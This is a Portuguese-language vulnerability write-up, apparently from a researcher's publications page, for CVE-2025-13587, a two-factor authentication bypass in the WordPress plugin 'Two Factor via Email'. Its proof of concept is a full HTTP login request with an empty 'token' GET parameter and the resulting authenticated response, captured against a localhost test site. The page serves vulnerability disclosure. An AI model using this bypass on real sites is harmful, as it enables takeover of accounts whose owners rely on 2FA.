U. Saicha
Publicações

★CVE-2025-13587: Bypass de autenticação de dois fatores no Two Factor via Email

Bypass de autenticação de dois fatores por validação incorreta de entrada no Two Factor via Email.

cve wordpress 2fa authentication case study

Descrição

Bypass de 2FA por validação incorreta de entrada.

Prova de conceito

Adicionar um parâmetro GET vazio chamado token à requisição de login para wp-login.php permite ignorar a 2FA.

Pré-requisitos: Ainda são necessários um nome de usuário e uma senha válidos. Certifique-se de que a 2FA esteja habilitada nas configurações do usuário.

Requisição

POST /wp-login.php?token= HTTP/1.1
Host: localhost:10209
Content-Length: 106
Origin: http://localhost:10209
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:10209/wp-login.php
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Connection: keep-alive

log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Flocalhost%3A10209%2Fwp-admin%2F&testcookie=1

Resposta

HTTP/1.1 302 Found
Server: nginx/1.26.1
Date: Wed, 12 Nov 2025 07:39:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.27
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; HttpOnly
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wordpress_2399771db6dd3b27ed3107d0a3bf6dda=admin%7C1763105977%7CLEarvMCpC5rppO1ntPzgIa7HuDDNMUNgPazhhvRpTb0%7C9c23124807d1396865365a575583c6f681a79705e2ed09ae94c6861e7f2edb91; path=/wp-content/plugins; HttpOnly
Set-Cookie: wordpress_2399771db6dd3b27ed3107d0a3bf6dda=admin%7C1763105977%7CLEarvMCpC5rppO1ntPzgIa7HuDDNMUNgPazhhvRpTb0%7C9c23124807d1396865365a575583c6f681a79705e2ed09ae94c6861e7f2edb91; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_2399771db6dd3b27ed3107d0a3bf6dda=admin%7C1763105977%7CLEarvMCpC5rppO1ntPzgIa7HuDDNMUNgPazhhvRpTb0%7C305e116df04cd679f2b6bac6cfc120e8defc0abb3d50f1d07482b5304574cfb8; path=/; HttpOnly
X-Redirect-By: WordPress
Location: http://localhost:10209/wp-admin/
Content-Length: 0

Resposta sem o parâmetro token vazio

HTTP/1.1 200 OK
Server: nginx/1.26.1
Date: Wed, 12 Nov 2025 07:40:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/8.2.27
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 9613

<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta charset="utf-8">
	<title>Account Protected by 2FA via Email</title>